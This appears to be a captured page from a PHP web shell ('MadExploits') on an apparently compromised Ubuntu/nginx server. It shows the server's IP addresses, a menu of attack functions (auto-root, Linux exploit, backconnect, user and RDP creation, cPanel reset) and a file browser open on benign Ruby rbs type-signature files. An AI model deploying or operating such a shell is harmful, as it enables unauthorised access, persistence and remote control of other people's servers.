Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
gems /
3.0.0 /
gems /
rbs-1.0.4 /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
array.rbs
72.62
KB
-rw-r--r--
basic_object.rbs
9.56
KB
-rw-r--r--
binding.rbs
5.31
KB
-rw-r--r--
builtin.rbs
1.36
KB
-rw-r--r--
class.rbs
4.43
KB
-rw-r--r--
comparable.rbs
4.07
KB
-rw-r--r--
complex.rbs
10.87
KB
-rw-r--r--
constants.rbs
434
B
-rw-r--r--
deprecated.rbs
54
B
-rw-r--r--
dir.rbs
13.67
KB
-rw-r--r--
encoding.rbs
11.92
KB
-rw-r--r--
enumerable.rbs
16.38
KB
-rw-r--r--
enumerator.rbs
6.69
KB
-rw-r--r--
errno.rbs
12.63
KB
-rw-r--r--
errors.rbs
14.09
KB
-rw-r--r--
exception.rbs
6.35
KB
-rw-r--r--
false_class.rbs
1.13
KB
-rw-r--r--
fiber.rbs
1.96
KB
-rw-r--r--
fiber_error.rbs
396
B
-rw-r--r--
file.rbs
39.24
KB
-rw-r--r--
file_test.rbs
1.73
KB
-rw-r--r--
float.rbs
20.24
KB
-rw-r--r--
gc.rbs
7.43
KB
-rw-r--r--
hash.rbs
34.02
KB
-rw-r--r--
integer.rbs
20.19
KB
-rw-r--r--
io.rbs
28.26
KB
-rw-r--r--
kernel.rbs
16.7
KB
-rw-r--r--
marshal.rbs
5.6
KB
-rw-r--r--
match_data.rbs
8.84
KB
-rw-r--r--
math.rbs
9.84
KB
-rw-r--r--
method.rbs
5.13
KB
-rw-r--r--
module.rbs
37.41
KB
-rw-r--r--
nil_class.rbs
1.73
KB
-rw-r--r--
numeric.rbs
11.72
KB
-rw-r--r--
object.rbs
26.36
KB
-rw-r--r--
object_space.rbs
3.41
KB
-rw-r--r--
proc.rbs
12.6
KB
-rw-r--r--
process.rbs
40.72
KB
-rw-r--r--
random.rbs
9.67
KB
-rw-r--r--
range.rbs
6.58
KB
-rw-r--r--
rational.rbs
12.72
KB
-rw-r--r--
rb_config.rbs
1.66
KB
-rw-r--r--
regexp.rbs
40.9
KB
-rw-r--r--
ruby_vm.rbs
384
B
-rw-r--r--
signal.rbs
1.81
KB
-rw-r--r--
string.rbs
77.2
KB
-rw-r--r--
string_io.rbs
8.02
KB
-rw-r--r--
struct.rbs
1.23
KB
-rw-r--r--
symbol.rbs
6.96
KB
-rw-r--r--
thread.rbs
34.03
KB
-rw-r--r--
thread_group.rbs
730
B
-rw-r--r--
time.rbs
40.94
KB
-rw-r--r--
trace_point.rbs
7.45
KB
-rw-r--r--
true_class.rbs
1.19
KB
-rw-r--r--
unbound_method.rbs
5.22
KB
-rw-r--r--
warning.rbs
835
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : comparable.rbs
# The Comparable mixin is used by classes whose objects may be ordered. The # class must define the `<=>` operator, which compares the receiver against # another object, returning a value less than 0, returning 0, or returning a # value greater than 0, depending on whether the receiver is less than, equal # to, or greater than the other object. If the other object is not comparable # then the `<=>` operator should return `nil`. Comparable uses `<=>` to # implement the conventional comparison operators (`<`, `<=`, `==`, `>=`, and # `>`) and the method `between?`. # # class SizeMatters # include Comparable # attr :str # def <=>(other) # str.size <=> other.str.size # end # def initialize(str) # @str = str # end # def inspect # @str # end # end # # s1 = SizeMatters.new("Z") # s2 = SizeMatters.new("YY") # s3 = SizeMatters.new("XXX") # s4 = SizeMatters.new("WWWW") # s5 = SizeMatters.new("VVVVV") # # s1 < s2 #=> true # s4.between?(s1, s3) #=> false # s4.between?(s3, s5) #=> true # [ s3, s2, s5, s4, s1 ].sort #=> [Z, YY, XXX, WWWW, VVVVV] # module Comparable : _WithSpaceshipOperator # Compares two objects based on the receiver's `<=>` method, returning true if # it returns a value less than 0. # def <: (untyped other) -> bool # Compares two objects based on the receiver's `<=>` method, returning true if # it returns a value less than or equal to 0. # def <=: (untyped other) -> bool # Compares two objects based on the receiver's `<=>` method, returning true if # it returns 0. Also returns true if *obj* and *other* are the same object. # def ==: (untyped other) -> bool # Compares two objects based on the receiver's `<=>` method, returning true if # it returns a value greater than 0. # def >: (untyped other) -> bool # Compares two objects based on the receiver's `<=>` method, returning true if # it returns a value greater than or equal to 0. # def >=: (untyped other) -> bool # Returns `false` if *obj* `<=>` *min* is less than zero or if *obj* `<=>` *max* # is greater than zero, `true` otherwise. # # 3.between?(1, 5) #=> true # 6.between?(1, 5) #=> false # 'cat'.between?('ant', 'dog') #=> true # 'gnu'.between?('ant', 'dog') #=> false # def between?: (untyped min, untyped max) -> bool # In `(min, max)` form, returns *min* if *obj* `<=>` *min* is less than zero, # *max* if *obj* `<=>` *max* is greater than zero, and *obj* otherwise. # # 12.clamp(0, 100) #=> 12 # 523.clamp(0, 100) #=> 100 # -3.123.clamp(0, 100) #=> 0 # # 'd'.clamp('a', 'f') #=> 'd' # 'z'.clamp('a', 'f') #=> 'f' # # In `(range)` form, returns *range.begin* if *obj* `<=>` *range.begin* is less # than zero, *range.end* if *obj* `<=>` *range.end* is greater than zero, and # *obj* otherwise. # # 12.clamp(0..100) #=> 12 # 523.clamp(0..100) #=> 100 # -3.123.clamp(0..100) #=> 0 # # 'd'.clamp('a'..'f') #=> 'd' # 'z'.clamp('a'..'f') #=> 'f' # # If *range.begin* is `nil`, it is considered smaller than *obj*, and if # *range.end* is `nil`, it is considered greater than *obj*. # # -20.clamp(0..) #=> 0 # 523.clamp(..100) #=> 100 # # When *range.end* is excluded and not `nil`, an exception is raised. # # 100.clamp(0...100) # ArgumentError # def clamp: [A, B] (A min, B max) -> (self | A | B) | [A] (Range[A]) -> (self | A) end # This interface defines the condition for Comparable mixin. # interface Comparable::_WithSpaceshipOperator # `<=>` operator must return Integer or `nil`. # If `other` is greater than `self`, it returns a positive Integer. # If `other` equals to `self`, it returns zero. # If `other` is less than `self`, it returns a positive Integer. # If no comparison is defined with `other` and `self`, it returns `nil`. # def <=>: (untyped other) -> Integer? end
Close